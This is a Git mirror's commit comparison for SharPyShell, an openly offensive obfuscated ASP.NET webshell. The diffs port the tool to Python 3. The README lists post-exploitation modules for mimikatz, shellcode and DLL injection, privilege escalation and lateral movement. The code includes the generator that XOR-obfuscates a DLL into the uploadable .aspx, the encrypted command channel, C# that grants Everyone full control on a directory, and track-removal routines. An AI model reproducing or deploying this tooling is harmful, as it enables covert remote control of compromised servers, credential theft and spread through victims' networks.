mirror of
https://github.com/antonioCoco/SharPyShell
synced 2026-06-08 13:11:44 +00:00
Compare commits
60 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 2971822579 | |||
| ea48f35900 | |||
| b58f918c83 | |||
| 84e1ff5f5a | |||
| 958c4012ab | |||
| c531349339 | |||
| e9a2f4e143 | |||
| 34cbffe372 | |||
| 7f14642572 | |||
| 3ef41ac7d2 | |||
| 7bab60cc39 | |||
| b234d3b007 | |||
| 56f4289ab4 | |||
| 4125280223 | |||
| a463ec57e2 | |||
| 0a0462ffa7 | |||
| 29a69d76e3 | |||
| 318a8dc382 | |||
| d6b3f41ff2 | |||
| da6b20abf2 | |||
| d70c21e1e6 | |||
| 300b956a14 | |||
| 4677dd1be3 | |||
| 0f4d0e460b | |||
| acdcd8d31f | |||
| 477c30e77d | |||
| 2d254cbd48 | |||
| 51f97b75f0 | |||
| 71a60a4fc2 | |||
| 9835c7b150 | |||
| de18c20beb | |||
| 9e0ceb7540 | |||
| 39e931ff27 | |||
| 3f4c530c67 | |||
| 320739f6a6 | |||
| 691ba7e08b | |||
| cbd1e1f47e | |||
| 5a2a242572 | |||
| 4a781f43e4 | |||
| cd71cb7959 | |||
| 8312be89b7 | |||
| 96f26bfce5 | |||
| dad54643a7 | |||
| 78b96b4a6e | |||
| 041afaf871 | |||
| ecd41c8de0 | |||
| 7b1db7bdb0 | |||
| 6576e04c71 | |||
| b5429762b2 | |||
| 2209ef9f5f | |||
| 8f7af5d05c | |||
| 0592d0cbf5 | |||
| 6524f3c4e8 | |||
| eb697924ef | |||
| 45ce4bea63 | |||
| edb4ef5011 | |||
| e59c27f559 | |||
| a618bd17bc | |||
| f101d52fb5 | |||
| 0ba50b53df |
+395
@@ -1,7 +1,402 @@
|
||||
#custom ignores
|
||||
|
||||
*.pyc
|
||||
.idea/
|
||||
venv/
|
||||
|
||||
# exclude everything
|
||||
output/*
|
||||
# exception to the rule
|
||||
!output/.gitkeep
|
||||
|
||||
|
||||
# Visual Studio template
|
||||
|
||||
## Ignore Visual Studio temporary files, build results, and
|
||||
## files generated by popular Visual Studio add-ons.
|
||||
##
|
||||
## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
|
||||
|
||||
# User-specific files
|
||||
*.rsuser
|
||||
*.suo
|
||||
*.user
|
||||
*.userosscache
|
||||
*.sln.docstates
|
||||
|
||||
# User-specific files (MonoDevelop/Xamarin Studio)
|
||||
*.userprefs
|
||||
|
||||
# Mono auto generated files
|
||||
mono_crash.*
|
||||
|
||||
# Build results
|
||||
[Dd]ebug/
|
||||
[Dd]ebugPublic/
|
||||
[Rr]elease/
|
||||
[Rr]eleases/
|
||||
x64/
|
||||
x86/
|
||||
[Ww][Ii][Nn]32/
|
||||
[Aa][Rr][Mm]/
|
||||
[Aa][Rr][Mm]64/
|
||||
bld/
|
||||
[Bb]in/
|
||||
[Oo]bj/
|
||||
[Ll]og/
|
||||
[Ll]ogs/
|
||||
|
||||
# Visual Studio 2015/2017 cache/options directory
|
||||
.vs/
|
||||
# Uncomment if you have tasks that create the project's static files in wwwroot
|
||||
#wwwroot/
|
||||
|
||||
# Visual Studio 2017 auto generated files
|
||||
Generated\ Files/
|
||||
|
||||
# MSTest test Results
|
||||
[Tt]est[Rr]esult*/
|
||||
[Bb]uild[Ll]og.*
|
||||
|
||||
# NUnit
|
||||
*.VisualState.xml
|
||||
TestResult.xml
|
||||
nunit-*.xml
|
||||
|
||||
# Build Results of an ATL Project
|
||||
[Dd]ebugPS/
|
||||
[Rr]eleasePS/
|
||||
dlldata.c
|
||||
|
||||
# Benchmark Results
|
||||
BenchmarkDotNet.Artifacts/
|
||||
|
||||
# .NET Core
|
||||
project.lock.json
|
||||
project.fragment.lock.json
|
||||
artifacts/
|
||||
|
||||
# ASP.NET Scaffolding
|
||||
ScaffoldingReadMe.txt
|
||||
|
||||
# StyleCop
|
||||
StyleCopReport.xml
|
||||
|
||||
# Files built by Visual Studio
|
||||
*_i.c
|
||||
*_p.c
|
||||
*_h.h
|
||||
*.ilk
|
||||
*.meta
|
||||
*.obj
|
||||
*.iobj
|
||||
*.pch
|
||||
*.pdb
|
||||
*.ipdb
|
||||
*.pgc
|
||||
*.pgd
|
||||
*.rsp
|
||||
*.sbr
|
||||
*.tlb
|
||||
*.tli
|
||||
*.tlh
|
||||
*.tmp
|
||||
*.tmp_proj
|
||||
*_wpftmp.csproj
|
||||
*.log
|
||||
*.tlog
|
||||
*.vspscc
|
||||
*.vssscc
|
||||
.builds
|
||||
*.pidb
|
||||
*.svclog
|
||||
*.scc
|
||||
|
||||
# Chutzpah Test files
|
||||
_Chutzpah*
|
||||
|
||||
# Visual C++ cache files
|
||||
ipch/
|
||||
*.aps
|
||||
*.ncb
|
||||
*.opendb
|
||||
*.opensdf
|
||||
*.sdf
|
||||
*.cachefile
|
||||
*.VC.db
|
||||
*.VC.VC.opendb
|
||||
|
||||
# Visual Studio profiler
|
||||
*.psess
|
||||
*.vsp
|
||||
*.vspx
|
||||
*.sap
|
||||
|
||||
# Visual Studio Trace Files
|
||||
*.e2e
|
||||
|
||||
# TFS 2012 Local Workspace
|
||||
$tf/
|
||||
|
||||
# Guidance Automation Toolkit
|
||||
*.gpState
|
||||
|
||||
# ReSharper is a .NET coding add-in
|
||||
_ReSharper*/
|
||||
*.[Rr]e[Ss]harper
|
||||
*.DotSettings.user
|
||||
|
||||
# TeamCity is a build add-in
|
||||
_TeamCity*
|
||||
|
||||
# DotCover is a Code Coverage Tool
|
||||
*.dotCover
|
||||
|
||||
# AxoCover is a Code Coverage Tool
|
||||
.axoCover/*
|
||||
!.axoCover/settings.json
|
||||
|
||||
# Coverlet is a free, cross platform Code Coverage Tool
|
||||
coverage*.json
|
||||
coverage*.xml
|
||||
coverage*.info
|
||||
|
||||
# Visual Studio code coverage results
|
||||
*.coverage
|
||||
*.coveragexml
|
||||
|
||||
# NCrunch
|
||||
_NCrunch_*
|
||||
.*crunch*.local.xml
|
||||
nCrunchTemp_*
|
||||
|
||||
# MightyMoose
|
||||
*.mm.*
|
||||
AutoTest.Net/
|
||||
|
||||
# Web workbench (sass)
|
||||
.sass-cache/
|
||||
|
||||
# Installshield output folder
|
||||
[Ee]xpress/
|
||||
|
||||
# DocProject is a documentation generator add-in
|
||||
DocProject/buildhelp/
|
||||
DocProject/Help/*.HxT
|
||||
DocProject/Help/*.HxC
|
||||
DocProject/Help/*.hhc
|
||||
DocProject/Help/*.hhk
|
||||
DocProject/Help/*.hhp
|
||||
DocProject/Help/Html2
|
||||
DocProject/Help/html
|
||||
|
||||
# Click-Once directory
|
||||
publish/
|
||||
|
||||
# Publish Web Output
|
||||
*.[Pp]ublish.xml
|
||||
*.azurePubxml
|
||||
# Note: Comment the next line if you want to checkin your web deploy settings,
|
||||
# but database connection strings (with potential passwords) will be unencrypted
|
||||
*.pubxml
|
||||
*.publishproj
|
||||
|
||||
# Microsoft Azure Web App publish settings. Comment the next line if you want to
|
||||
# checkin your Azure Web App publish settings, but sensitive information contained
|
||||
# in these scripts will be unencrypted
|
||||
PublishScripts/
|
||||
|
||||
# NuGet Packages
|
||||
*.nupkg
|
||||
# NuGet Symbol Packages
|
||||
*.snupkg
|
||||
# The packages folder can be ignored because of Package Restore
|
||||
**/[Pp]ackages/*
|
||||
# except build/, which is used as an MSBuild target.
|
||||
!**/[Pp]ackages/build/
|
||||
# Uncomment if necessary however generally it will be regenerated when needed
|
||||
#!**/[Pp]ackages/repositories.config
|
||||
# NuGet v3's project.json files produces more ignorable files
|
||||
*.nuget.props
|
||||
*.nuget.targets
|
||||
|
||||
# Nuget personal access tokens and Credentials
|
||||
nuget.config
|
||||
|
||||
# Microsoft Azure Build Output
|
||||
csx/
|
||||
*.build.csdef
|
||||
|
||||
# Microsoft Azure Emulator
|
||||
ecf/
|
||||
rcf/
|
||||
|
||||
# Windows Store app package directories and files
|
||||
AppPackages/
|
||||
BundleArtifacts/
|
||||
Package.StoreAssociation.xml
|
||||
_pkginfo.txt
|
||||
*.appx
|
||||
*.appxbundle
|
||||
*.appxupload
|
||||
|
||||
# Visual Studio cache files
|
||||
# files ending in .cache can be ignored
|
||||
*.[Cc]ache
|
||||
# but keep track of directories ending in .cache
|
||||
!?*.[Cc]ache/
|
||||
|
||||
# Others
|
||||
ClientBin/
|
||||
~$*
|
||||
*~
|
||||
*.dbmdl
|
||||
*.dbproj.schemaview
|
||||
*.jfm
|
||||
*.pfx
|
||||
*.publishsettings
|
||||
orleans.codegen.cs
|
||||
|
||||
# Including strong name files can present a security risk
|
||||
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
|
||||
#*.snk
|
||||
|
||||
# Since there are multiple workflows, uncomment next line to ignore bower_components
|
||||
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
|
||||
#bower_components/
|
||||
|
||||
# RIA/Silverlight projects
|
||||
Generated_Code/
|
||||
|
||||
# Backup & report files from converting an old project file
|
||||
# to a newer Visual Studio version. Backup files are not needed,
|
||||
# because we have git ;-)
|
||||
_UpgradeReport_Files/
|
||||
Backup*/
|
||||
UpgradeLog*.XML
|
||||
UpgradeLog*.htm
|
||||
ServiceFabricBackup/
|
||||
*.rptproj.bak
|
||||
|
||||
# SQL Server files
|
||||
*.mdf
|
||||
*.ldf
|
||||
*.ndf
|
||||
|
||||
# Business Intelligence projects
|
||||
*.rdl.data
|
||||
*.bim.layout
|
||||
*.bim_*.settings
|
||||
*.rptproj.rsuser
|
||||
*- [Bb]ackup.rdl
|
||||
*- [Bb]ackup ([0-9]).rdl
|
||||
*- [Bb]ackup ([0-9][0-9]).rdl
|
||||
|
||||
# Microsoft Fakes
|
||||
FakesAssemblies/
|
||||
|
||||
# GhostDoc plugin setting file
|
||||
*.GhostDoc.xml
|
||||
|
||||
# Node.js Tools for Visual Studio
|
||||
.ntvs_analysis.dat
|
||||
node_modules/
|
||||
|
||||
# Visual Studio 6 build log
|
||||
*.plg
|
||||
|
||||
# Visual Studio 6 workspace options file
|
||||
*.opt
|
||||
|
||||
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
|
||||
*.vbw
|
||||
|
||||
# Visual Studio LightSwitch build output
|
||||
**/*.HTMLClient/GeneratedArtifacts
|
||||
**/*.DesktopClient/GeneratedArtifacts
|
||||
**/*.DesktopClient/ModelManifest.xml
|
||||
**/*.Server/GeneratedArtifacts
|
||||
**/*.Server/ModelManifest.xml
|
||||
_Pvt_Extensions
|
||||
|
||||
# Paket dependency manager
|
||||
.paket/paket.exe
|
||||
paket-files/
|
||||
|
||||
# FAKE - F# Make
|
||||
.fake/
|
||||
|
||||
# CodeRush personal settings
|
||||
.cr/personal
|
||||
|
||||
# Python Tools for Visual Studio (PTVS)
|
||||
__pycache__/
|
||||
*.pyc
|
||||
|
||||
# Cake - Uncomment if you are using it
|
||||
# tools/**
|
||||
# !tools/packages.config
|
||||
|
||||
# Tabs Studio
|
||||
*.tss
|
||||
|
||||
# Telerik's JustMock configuration file
|
||||
*.jmconfig
|
||||
|
||||
# BizTalk build output
|
||||
*.btp.cs
|
||||
*.btm.cs
|
||||
*.odx.cs
|
||||
*.xsd.cs
|
||||
|
||||
# OpenCover UI analysis results
|
||||
OpenCover/
|
||||
|
||||
# Azure Stream Analytics local run output
|
||||
ASALocalRun/
|
||||
|
||||
# MSBuild Binary and Structured Log
|
||||
*.binlog
|
||||
|
||||
# NVidia Nsight GPU debugger configuration file
|
||||
*.nvuser
|
||||
|
||||
# MFractors (Xamarin productivity tool) working folder
|
||||
.mfractor/
|
||||
|
||||
# Local History for Visual Studio
|
||||
.localhistory/
|
||||
|
||||
# BeatPulse healthcheck temp database
|
||||
healthchecksdb
|
||||
|
||||
# Backup folder for Package Reference Convert tool in Visual Studio 2017
|
||||
MigrationBackup/
|
||||
|
||||
# Ionide (cross platform F# VS Code tools) working folder
|
||||
.ionide/
|
||||
|
||||
# Fody - auto-generated XML schema
|
||||
FodyWeavers.xsd
|
||||
|
||||
# VS Code files for those working on multiple tools
|
||||
.vscode/*
|
||||
!.vscode/settings.json
|
||||
!.vscode/tasks.json
|
||||
!.vscode/launch.json
|
||||
!.vscode/extensions.json
|
||||
*.code-workspace
|
||||
|
||||
# Local History for Visual Studio Code
|
||||
.history/
|
||||
|
||||
# Windows Installer files from build outputs
|
||||
*.cab
|
||||
*.msi
|
||||
*.msix
|
||||
*.msm
|
||||
*.msp
|
||||
|
||||
# JetBrains Rider
|
||||
.idea/
|
||||
*.sln.iml
|
||||
@@ -1,5 +1,9 @@
|
||||
# SharPyShell
|
||||
|
||||
<p align="center"><img src="logo.png" width="500" height="300" /></p>
|
||||
|
||||
<hr/>
|
||||
|
||||
SharPyShell is a tiny and obfuscated ASP.NET webshell that executes commands received by an encrypted channel compiling them in memory at runtime.
|
||||
|
||||
SharPyShell supports only C# web applications that runs on .NET Framework >= 2.0<br>VB is not supported atm.
|
||||
@@ -7,18 +11,18 @@ SharPyShell supports only C# web applications that runs on .NET Framework >= 2.0
|
||||
## Usage
|
||||
|
||||
```
|
||||
python SharPyShell.py generate -p somepassword
|
||||
python SharPyShell.py interact -u http://target.url/sharpyshell.aspx -p somepassword
|
||||
python3 SharPyShell.py generate -p somepassword
|
||||
python3 SharPyShell.py interact -u http://target.url/sharpyshell.aspx -p somepassword
|
||||
```
|
||||
|
||||
## Requirements
|
||||
|
||||
Python version >= 2.7
|
||||
Python version >= 3.6
|
||||
|
||||
and
|
||||
|
||||
```
|
||||
pip install -r requirements.txt
|
||||
pip3 install -r requirements.txt
|
||||
```
|
||||
|
||||
## Description
|
||||
@@ -95,55 +99,34 @@ Generated with asciiflow.com
|
||||
## Modules
|
||||
|
||||
```
|
||||
#download Download a file from the server
|
||||
#exec_cmd Run a cmd.exe /c command on the server
|
||||
#exec_ps Run a powershell.exe -nop -noni -enc 'base64command' on the server
|
||||
#invoke_ps_module Run a ps1 script on the target server
|
||||
#invoke_ps_module_as Run a ps1 script on the target server as a specific user
|
||||
#lateral_psexec Run psexec binary to move laterally
|
||||
#lateral_wmi Run builtin WMI command to move laterally
|
||||
#mimikatz Run an offline version of mimikatz directly in memory
|
||||
#net_portscan Run a port scan using regular sockets, based (pretty) loosely on nmap
|
||||
#privesc_juicy_potato Launch Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM
|
||||
#privesc_powerup Run Powerup module to assess all misconfiguration for privesc
|
||||
#runas Run a cmd.exe /c command spawning a new process as a specific user
|
||||
#runas_ps Run a powershell.exe -enc spawning a new process as a specific user
|
||||
#upload Upload a file to the server
|
||||
#download Download a file from the server
|
||||
#exec_cmd Run a cmd.exe /c command on the server
|
||||
#exec_ps Run a powershell.exe -nop -noni -enc 'base64command' on the server
|
||||
#inject_dll_reflective Inject a reflective DLL in a new (or existing) process
|
||||
#inject_dll_srdi Inject a generic DLL in a new (or existing) process
|
||||
#inject_shellcode Inject shellcode in a new (or existing) process
|
||||
#invoke_ps_module Run a ps1 script on the target server
|
||||
#invoke_ps_module_as Run a ps1 script on the target server as a specific user
|
||||
#lateral_psexec Run psexec binary to move laterally
|
||||
#lateral_wmi Run builtin WMI command to move laterally
|
||||
#mimikatz Run an offline version of mimikatz directly in memory
|
||||
#net_portscan Run a port scan using regular sockets, based (pretty) loosely on nmap
|
||||
#privesc_juicy_potato Launch InMem Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM
|
||||
#privesc_powerup Run Powerup module to assess all misconfiguration for privesc
|
||||
#runas Run a cmd.exe /c command spawning a new process as a specific user
|
||||
#runas_ps Run a powershell.exe -enc spawning a new process as a specific user
|
||||
#upload Upload a file to the server
|
||||
```
|
||||
|
||||
## Windows version tested
|
||||
|
||||
Windows Server 2019 Standard<br>
|
||||
  OS Name: Microsoft Windows Server 2019 Standard Evaluation<br>
|
||||
  OS Version: 10.0.17763 N/A Build 17763<br>
|
||||
<br>
|
||||
Windows Server 2016 Standard<br>
|
||||
  OS Name: Microsoft Windows Server 2016 Standard Evaluation<br>
|
||||
  OS Version: 10.0.14393 N/A Build 14393<br>
|
||||
<br>
|
||||
Windows Server 2012 R2 Standard<br>
|
||||
  OS Name: Microsoft Windows Server 2012 R2 Standard<br>
|
||||
  OS Version: 6.3.9600 N/A Build 9600<br>
|
||||
<br>
|
||||
Windows server 2012 Standard<br>
|
||||
  OS Name: Microsoft Windows Server 2012 Standard Evaluation<br>
|
||||
  OS Version: 6.2.9200 N/A Build 9200<br>
|
||||
<br>
|
||||
Windows Server 2008 R2 Standard<br>
|
||||
  OS Name: Microsoft Windows Server 2008 R2 Standard<br>
|
||||
  OS Version: 6.1.7601 Service Pack 1 Build 7601<br>
|
||||
<br>
|
||||
Windows Server 2008 Standard x64<br>
|
||||
  OS Name: Microsoft© Windows Server© 2008 Standard <br>
|
||||
  OS Version: 6.0.6001 Service Pack 1 Build 6001<br>
|
||||
<br>
|
||||
Windows Server 2003 Standard x64 (partial working)<br>
|
||||
  OS Name: Microsoft(R) Windows(R) Server 2003 Standard x64 Edition<br>
|
||||
  OS Version: 5.2.3790 Service Pack 2 Build 3790<br>
|
||||
Windows Server >= 2008 Standard x64
|
||||
|
||||
|
||||
## Credits
|
||||
|
||||
<ul>
|
||||
<li><a href="https://github.com/newfinal100">@newfinal100</a> (for the fancy logo!)</li>
|
||||
<li><a href="https://github.com/epinna/weevely3">@weevely3</a></li>
|
||||
<li><a href="https://github.com/ohpe/juicy-potato">@juicy-potato</a></li>
|
||||
<li><a href="https://github.com/PowerShellMafia/PowerSploit">@PowerSploit</a></li>
|
||||
|
||||
+12
-9
@@ -1,4 +1,4 @@
|
||||
#!/usr/bin/env python2
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from core.Generate import Generate
|
||||
from core.SharPyShellPrompt import SharPyShellPrompt
|
||||
@@ -144,7 +144,7 @@ def create_interact_parser(subparsers):
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
print config.banner
|
||||
print (config.banner)
|
||||
parser = argparse.ArgumentParser(prog='SharPyShell', formatter_class=argparse.RawTextHelpFormatter,
|
||||
epilog=example_text_main)
|
||||
parser.add_argument('--version', action='version', version=config.header)
|
||||
@@ -153,11 +153,14 @@ if __name__ == '__main__':
|
||||
create_interact_parser(subparsers)
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.mode == 'generate':
|
||||
generate_obj = Generate(args.password, args.encryption, args.obfuscator, args.endian_type, args.output)
|
||||
generate_obj.generate()
|
||||
if args.__contains__('mode'):
|
||||
if args.mode == 'generate':
|
||||
generate_obj = Generate(args.password, args.encryption, args.obfuscator, args.endian_type, args.output)
|
||||
generate_obj.generate()
|
||||
|
||||
if args.mode == 'interact':
|
||||
prompt = SharPyShellPrompt(args.password, args.encryption, args.default_shell, args.url,
|
||||
args.user_agent, args.cookies, args.custom_header, args.insecure, args.proxy)
|
||||
prompt.cmdloop('\n')
|
||||
if args.mode == 'interact':
|
||||
prompt = SharPyShellPrompt(args.password, args.encryption, args.default_shell, args.url,
|
||||
args.user_agent, args.cookies, args.custom_header, args.insecure, args.proxy)
|
||||
prompt.cmdloop('\n')
|
||||
else:
|
||||
parser.print_help()
|
||||
|
||||
+5
-5
@@ -1,5 +1,7 @@
|
||||
from utils.Singleton import Singleton
|
||||
from Crypto.Cipher import AES
|
||||
from Crypto.Util.Padding import pad
|
||||
from Crypto.Util.Padding import unpad
|
||||
|
||||
|
||||
class ChannelAES(Singleton):
|
||||
@@ -8,18 +10,16 @@ class ChannelAES(Singleton):
|
||||
BS = 16
|
||||
|
||||
def __init__(self, password):
|
||||
self.hashed_password = password.decode('hex')
|
||||
self.hashed_password = bytes.fromhex(password)
|
||||
self.IV = self.hashed_password[0:self.BS]
|
||||
|
||||
def encrypt(self, plain_data):
|
||||
pad = lambda s: s + (self.BS - len(s) % self.BS) * chr(self.BS - len(s) % self.BS)
|
||||
plain_data_pad = pad(plain_data)
|
||||
plain_data_pad = pad(plain_data, self.BS)
|
||||
aes = AES.new(self.hashed_password, AES.MODE_CBC, self.IV)
|
||||
encrypted_data = aes.encrypt(plain_data_pad)
|
||||
return encrypted_data
|
||||
|
||||
def decrypt(self, encrypted_data):
|
||||
aes = AES.new(self.hashed_password, AES.MODE_CBC, self.IV)
|
||||
unpad = lambda s: s[:-ord(s[len(s) - 1:])]
|
||||
decrypted_data = aes.decrypt(encrypted_data)
|
||||
return unpad(decrypted_data)
|
||||
return unpad(decrypted_data, self.BS)
|
||||
|
||||
+6
-7
@@ -1,17 +1,16 @@
|
||||
from utils.Singleton import Singleton
|
||||
|
||||
from itertools import cycle
|
||||
|
||||
class ChannelXOR(Singleton):
|
||||
password = None
|
||||
|
||||
def __init__(self, password):
|
||||
self.password = password.encode('utf-8')
|
||||
self.password = password
|
||||
|
||||
def encrypt(self, plain_data):
|
||||
key = self.password
|
||||
from itertools import izip, cycle
|
||||
xored = ''.join(chr(ord(x) ^ ord(y)) for (x, y) in izip(plain_data, cycle(key)))
|
||||
return bytearray(xored)
|
||||
key = self.password.encode()
|
||||
xored = b''.join(bytes([(x ^ y)]) for (x, y) in list(zip(plain_data, cycle(key))))
|
||||
return xored
|
||||
|
||||
def decrypt(self, encrypted_data):
|
||||
return self.encrypt(encrypted_data)
|
||||
return self.encrypt(encrypted_data)
|
||||
|
||||
+15
-7
@@ -7,11 +7,11 @@ class GetTempDirectory(Module):
|
||||
|
||||
_exception_class = GetTempDirectoryException
|
||||
|
||||
_runtime_code = ur"""
|
||||
_runtime_code = r"""
|
||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||
public class SharPyShell
|
||||
{
|
||||
string GetTempDirectory()
|
||||
private string GetTempDirectory()
|
||||
{
|
||||
string tempDirectory="";
|
||||
string osTempDirectory = Environment.GetEnvironmentVariable("SYSTEMROOT") + "\\" + "Temp";
|
||||
@@ -45,11 +45,13 @@ class GetEnvDirectory(Module):
|
||||
|
||||
_exception_class = GetEnvDirectoryException
|
||||
|
||||
_runtime_code = ur"""
|
||||
_runtime_code = r"""
|
||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||
using System.Security.AccessControl;using System.Security.Principal;
|
||||
|
||||
public class SharPyShell
|
||||
{
|
||||
string GetEnvDirectory(string randomName)
|
||||
private string GetEnvDirectory(string randomName)
|
||||
{
|
||||
string envDirectory="";
|
||||
string osTempDirectory = Environment.GetEnvironmentVariable("SYSTEMROOT") + "\\" + "Temp" + "\\" + randomName;
|
||||
@@ -66,6 +68,12 @@ class GetEnvDirectory(Module):
|
||||
catch{
|
||||
envDirectory = @"C:\Windows\Temp";
|
||||
}
|
||||
}
|
||||
if(envDirectory != @"C:\Windows\Temp"){
|
||||
DirectoryInfo dInfo = new DirectoryInfo(envDirectory);
|
||||
DirectorySecurity dSecurity = dInfo.GetAccessControl();
|
||||
dSecurity.AddAccessRule(new FileSystemAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid, null), FileSystemRights.FullControl, InheritanceFlags.ObjectInherit | InheritanceFlags.ContainerInherit, PropagationFlags.NoPropagateInherit, AccessControlType.Allow));
|
||||
dInfo.SetAccessControl(dSecurity);
|
||||
}
|
||||
return envDirectory;
|
||||
}
|
||||
@@ -93,11 +101,11 @@ class ClearDirectories(Module):
|
||||
|
||||
_exception_class = ClearDirectoriesException
|
||||
|
||||
_runtime_code = ur"""
|
||||
_runtime_code = r"""
|
||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||
public class SharPyShell
|
||||
{
|
||||
string ClearDirectories(string[] modulesPath, string envDirectory)
|
||||
private string ClearDirectories(string[] modulesPath, string envDirectory)
|
||||
{
|
||||
string output="";
|
||||
for(int i = 0 ; i < modulesPath.Length ; i++)
|
||||
@@ -190,7 +198,7 @@ class Environment:
|
||||
excluded_path = ['env_directory', 'working_directory']
|
||||
modules_path = ['@"' + v + '"' for k, v in env_settings.items() if k not in excluded_path]
|
||||
modules_path_string_array = '{' + ','.join(modules_path) + '}'
|
||||
print '\nRemoving tracks....\n'
|
||||
print ('\nRemoving tracks....\n')
|
||||
result = self.clear_dir_obj.run([modules_path_string_array, env_directory])
|
||||
if '{{{ClearDirectoriesException}}}' not in result:
|
||||
result = format_output(result)
|
||||
|
||||
+16
-17
@@ -1,8 +1,10 @@
|
||||
from core import config
|
||||
from struct import unpack
|
||||
from itertools import cycle
|
||||
import hashlib
|
||||
import random
|
||||
|
||||
import io
|
||||
import os
|
||||
|
||||
class Generate():
|
||||
|
||||
@@ -11,11 +13,12 @@ class Generate():
|
||||
__obfuscator = ''
|
||||
__endian_type = ''
|
||||
|
||||
__templates_path = config.sharpyshell_path+'agent/'
|
||||
__runtime_compiler_path = __templates_path + 'runtime_compiler/'
|
||||
__templates_path = config.sharpyshell_path+'agent'+os.sep
|
||||
__runtime_compiler_path = __templates_path + 'runtime_compiler'+os.sep
|
||||
__output_path = config.output_path + 'sharpyshell.aspx'
|
||||
|
||||
def __init__(self, password, encryption, obfuscator, endian_type, output):
|
||||
password = password.encode('utf-8')
|
||||
if encryption == 'aes128':
|
||||
self.__password = hashlib.md5(password).hexdigest()
|
||||
else:
|
||||
@@ -41,15 +44,12 @@ class Generate():
|
||||
|
||||
def __generate_webshell_code_encrypted_dll(self, template_code):
|
||||
def xor_file(path, key):
|
||||
with open(path, 'rb') as file_handle:
|
||||
with io.open(path, mode='rb') as file_handle:
|
||||
plain_data = file_handle.read()
|
||||
from itertools import izip, cycle
|
||||
xored = ''.join(chr(ord(x) ^ ord(y)) for (x, y) in izip(plain_data, cycle(key)))
|
||||
return bytearray(xored)
|
||||
|
||||
def generate_byte_file_string(byte_arr):
|
||||
output = [str(hex(byte)) for byte in byte_arr]
|
||||
return '{' + ",".join(output) + '}'
|
||||
xored = []
|
||||
for (x, y) in list(zip(plain_data, cycle(key))):
|
||||
xored.append(hex(x ^ ord(y)))
|
||||
return '{' + ",".join(xored) + '}'
|
||||
|
||||
if 'aes' in self.__encryption:
|
||||
dll_name = 'runtime_compiler_aes.dll'
|
||||
@@ -57,14 +57,13 @@ class Generate():
|
||||
dll_name = 'runtime_compiler_xor.dll'
|
||||
runtime_compiler_dll_path = self.__runtime_compiler_path + dll_name
|
||||
obfuscated_dll = xor_file(runtime_compiler_dll_path, self.__password)
|
||||
obfuscated_dll_string = generate_byte_file_string(obfuscated_dll)
|
||||
webshell_code = template_code.replace('{{SharPyShell_Placeholder_pwd}}', self.__password)
|
||||
webshell_code = webshell_code.replace('{{SharPyShell_Placeholder_enc_dll}}', obfuscated_dll_string)
|
||||
webshell_code = webshell_code.replace('{{SharPyShell_Placeholder_enc_dll}}', obfuscated_dll)
|
||||
return webshell_code
|
||||
|
||||
def __generate_webshell_code_ulong_compression(self, template_code):
|
||||
def get_dll_code(dll_code_path):
|
||||
with open(dll_code_path, 'r') as file_handle:
|
||||
with open(dll_code_path, 'rb') as file_handle:
|
||||
dll_code = file_handle.read()
|
||||
return dll_code
|
||||
|
||||
@@ -79,7 +78,7 @@ class Generate():
|
||||
representation = '='
|
||||
for i in range(0, len(dll_code), 8):
|
||||
int_conversion = unpack(representation + 'Q', dll_code[i:i + 8])[0]
|
||||
ulong_quotients.append(str(int_conversion / divisor))
|
||||
ulong_quotients.append(str(int_conversion // divisor))
|
||||
ulong_remainders.append(str(int_conversion % divisor))
|
||||
ulong_quotients_string = '{' + ','.join(ulong_quotients) + '}'
|
||||
ulong_remainders_string = '{' + ','.join(ulong_remainders) + '}'
|
||||
@@ -109,5 +108,5 @@ class Generate():
|
||||
webshell_output_path = self.__output_path
|
||||
with open(webshell_output_path, 'w') as file_handle:
|
||||
file_handle.write(webshell_code)
|
||||
print 'SharPyShell webshell written correctly to: ' + webshell_output_path
|
||||
print '\nUpload it to the target server and let\'s start having some fun :) \n\n'
|
||||
print ('SharPyShell webshell written correctly to: ' + webshell_output_path)
|
||||
print ('\nUpload it to the target server and let\'s start having some fun :) \n\n')
|
||||
|
||||
+6
-5
@@ -20,7 +20,7 @@ class Module(Singleton):
|
||||
"""
|
||||
'''runtime_code must have the class name "SharPyShell" and the main function name "ExecRuntime". The ExecRuntime
|
||||
function will be the code run on the server and it must return results in byte[] type '''
|
||||
_runtime_code = ur"""
|
||||
_runtime_code = r"""
|
||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||
public class SharPyShell
|
||||
{
|
||||
@@ -56,17 +56,17 @@ class Module(Singleton):
|
||||
# End Override this method
|
||||
|
||||
def _encrypt_request(self, request_clear):
|
||||
request_encrypted = self._channel_enc_obj.encrypt(request_clear)
|
||||
request_encrypted = self._channel_enc_obj.encrypt(request_clear.encode())
|
||||
request_encrypted_encoded = base64.b64encode(request_encrypted)
|
||||
return request_encrypted_encoded
|
||||
return request_encrypted_encoded.decode()
|
||||
|
||||
def _post_request(self, request_encrypted_encoded):
|
||||
response_status_code, response_headers, response_text = \
|
||||
self._request_object.send_request(request_encrypted_encoded)
|
||||
if response_status_code != 200:
|
||||
raise self._exception_class('{{{' + self._exception_class.__name__ + '}}}\n' +
|
||||
raise self._exception_class('{{{' + str(self._exception_class.__name__) + '}}}\n' +
|
||||
str(response_headers) + '\n\n' +
|
||||
response_text)
|
||||
str(response_text))
|
||||
return response_text
|
||||
|
||||
def _decrypt_response(self, encrypted_response_encoded):
|
||||
@@ -75,6 +75,7 @@ class Module(Singleton):
|
||||
return response_clear
|
||||
|
||||
def _parse_response(self, response):
|
||||
response = response.decode() if isinstance(response, bytes) else response
|
||||
if '{{{' + self._exception_class.__name__ + '}}}' in response:
|
||||
raise self._exception_class(str(response))
|
||||
if '{{{SharPyShellError}}}' in response or '{{{PythonError}}}' in response:
|
||||
|
||||
+5
-4
@@ -1,4 +1,5 @@
|
||||
from utils.Singleton import Singleton
|
||||
from utils.Singleton import Singleton
